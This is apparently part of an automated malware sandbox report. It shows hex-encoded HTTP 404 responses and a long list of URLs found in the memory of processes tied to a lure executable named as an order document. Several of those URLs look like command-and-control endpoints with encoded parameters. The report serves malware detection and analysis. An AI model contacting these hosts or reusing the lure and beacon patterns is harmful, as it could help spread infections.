0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:59:17 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:59:19 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:59:22 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:59:24 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1728X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6

Source: compact.exe, 0000000A.00000002.4574298276.0000000004F98000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003D28000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://3cubesinterior.in/n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTX
Source: compact.exe, 0000000A.00000002.4574298276.0000000004950000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.00000000036E0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://architect-usschool.com/s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD
Source: compact.exe, 0000000A.00000002.4574298276.000000000449A000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.000000000322A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://epicbazaarhub.com/2769/?OdjTHtuX=rQ9MRvShllEvhf19NmQGPjdBfvwxqGfh/iQ/JyzvIKd3JVnhiEf6Ad8S1fm4
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/js/min.js?v2.3
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28903/search.png)
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/29590/bg1.png)
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2120287530.0000000002953000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://searchdiscovered.com/__media__/images/logo.gif)
Source: compact.exe, 0000000A.00000002.4574298276.0000000004C74000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003A04000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://superunicornpalace.com/mwa4/?Y6vp=3PLd8j&OdjTHtuX=BKtoJfTGgHJzrpd1kXP6JuCpnJS0Vaq/yhZppoO2EP3
Source: EUSOiCcoIEEJJ.exe, 0000000D.00000002.4576370278.0000000004E30000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.hondamechanic.today
Source: EUSOiCcoIEEJJ.exe, 0000000D.00000002.4576370278.0000000004E30000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.hondamechanic.today/pv57/
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.mengistiebethlehem.com/Christmas_City_Studio.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.mengistiebethlehem.com/Lehigh_Valley.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe1UYWx%2F
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.mengistiebethlehem.com/Moravia.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe1UYWx%2FFitbFc
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.mengistiebethlehem.com/display.cfm
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.consentmanager.net
